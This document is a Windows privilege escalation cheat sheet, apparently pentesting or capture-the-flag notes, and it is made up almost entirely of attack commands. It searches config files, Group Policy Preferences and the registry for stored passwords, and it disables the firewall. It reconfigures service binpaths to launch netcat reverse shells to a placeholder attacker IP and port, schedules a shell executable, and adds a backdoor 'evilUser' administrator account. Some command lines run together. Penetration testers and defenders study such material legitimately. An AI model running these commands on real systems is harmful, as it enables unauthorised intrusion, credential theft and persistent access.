Windows Privilege Escalation
- Kernel Exploits
- Credentials
- Firewall
- Misc
- Unquoted Services Paths
- Insecure Service Permissions
- Tasks
- Windows Services
- Quick Useful Commands
Kernel Exploits
Look for missing KBs (Microsoft Knowledge Base - updates), find the most recent one, Google it. Then, look for exploits that effect later versions.
systeminfosysteminfo | findstr /B /C:"OS Name" /C:"OS * Version"sherlock- PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities.
Common Kernel Exploits
MS17-010 - EternalBlue MS16-014 - Applies to: Windows 7 SP1 x86 MS16-016 - 'WebDAV' applies to Windows 7 SP1 x86 (Build 7601) MS16-032 - Applies to: Windows 7 x86/x64, Windows 8 x86/64, Windows 10, Windows Server 2008-2012 R2
Credentials
Config Files
C:\Windows\system32\sysprep.infC:\Windows\system32\sysprep\sysprep.xmlC:\unattend.xml%WINDIR%\Panther\Unattend.xml%WINDIR%\Panther\Unattend\Unattend.xml
Other Files
Services\Services.xmlScheduldedTasks\ScheduledTasks.xmlPrinters\Printers.xmlDrives\Drives.xmlDataSources\DataSources.xml
IIS Web Server
Internet Information Services (IIS) web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.configC:\inetpub\wwwroot\web.config
Group Policy Preferences
Local administrators passwords can be found in the Group Policy Preferences. The file Groups.xml which contains the password is cached locally but it can also be obtained from the Domain Controller as every domain user has read-access for this file. The password is encrypted with AES but Microsoft has released the key.
C:\ProgramData\Microsoft\Group Policy\History\????\Machine\Preferences\Groups\Groups.xml\\{name}\SYSVOL\\Policies\{id}\MACHINE\Preferences\Groups\Groups.xml
Other Misc Passwords
reg query HKLM /f password /t REG_SZ /sreg query HKCU /f password /t REG_SZ /sphp.inihttpd.confaccess.log
Find Potential Password Files
From C:\ level:
dir /b /s unattend.xmldir /b /s web.configdir /b /s sysprep.infdir /b /s sysprep.xmldir /b /s *pass*dir /b /s vnc.inidir /s *pass* == *cred* == *vnc* == *.config*
Find Potential Passwords
Search through files for the word 'password'
findstr /si password *.txtfindstr /si password *.xmlfindstr /si password *.inifindstr /si password *.xml *.ini *.txt
Firewall
Show Firewall Config
netsh firewall show config
netsh firewall show opmode
Disable Firewall
netsh firewall set opmode disable
Misc
PuTTY
reg query HKEY_CURRENT_USER\Software\JohnDoe\PuTTY\Sessions
TightVNC
reg query HKCU\Software\TightVNC\Serverbncpwd.exe <encrypted_password>
Unquoted Services Paths
For each space in a file path, Windows will attempt to look for and execute programs with a name that matches the word in front of the space.
Example:
- C:\Program Files\Some Folder\Service.exe
- C:\Program.exe
- C:\Program Files\Some.exe
- C:\Program Files\Some Folder\Service.exe
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
Insecure Service Permissions
whoami > net user <name>- enumerate groupsaccesschk.exe-> part of sysinternalsaccesschk.exe -ucqv <service name>accesschk.exe -uwcqv "Authenticated Users" * /accepteula
Write access to a service as authenticated user?
Windows XP ssdprsv and upnphost by default:
sc qc upnphost
sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
net start upnphost
Tasks
Scheduled Tasks
On server 2000, 2003, and XP, scheduled tasks are running as system. Are they calling any '.exe' files that are overwritable?
accesschk.exe -dqv <folder path>
Scheduled Tasks
schtasks /query /fo LIST /v
Link Running Tasks to Services
tasklist /SVC
Create Task
net start "Task Scheduler" at <hour:minute> /interactive "path to shell.exe"`
Windows Services
Query Services Permissions
sc qc Spooler- queries spooler serviceaccesschk.exe /accepteula -ucqv Spooler(or accesschk_v5.02.exe on older machines like Windows XP SP1)accesschk.exe /accepteula -uwcqv "Authenticated Users"
Managing or Manipulating Services
sc qc <service>sc config <service> binpath= "C:\nc.exe -nv <myip> <myport> -e cmd.exe"sc config <service> obj= ".\LocalSystem" password= ""sc qc <service>sc start <service>
Quick Useful Commands
hostnameecho %username%whoami/privswinsta- Other logged in usersnet usersnet user <username>net localgroupnet localgroup Administratorsnet user evilUser password123 /addnet localgroup Administrators evilUser /addipconfing /allroute printarp -anetstat -anoC:\WINDOWS\System32\drivers\etc\hostsDRIVERQUERY- Installed driversschtasks /query /fo LIST /v- Scheduled taskstasklist /SVC- Running processesnet start- Started services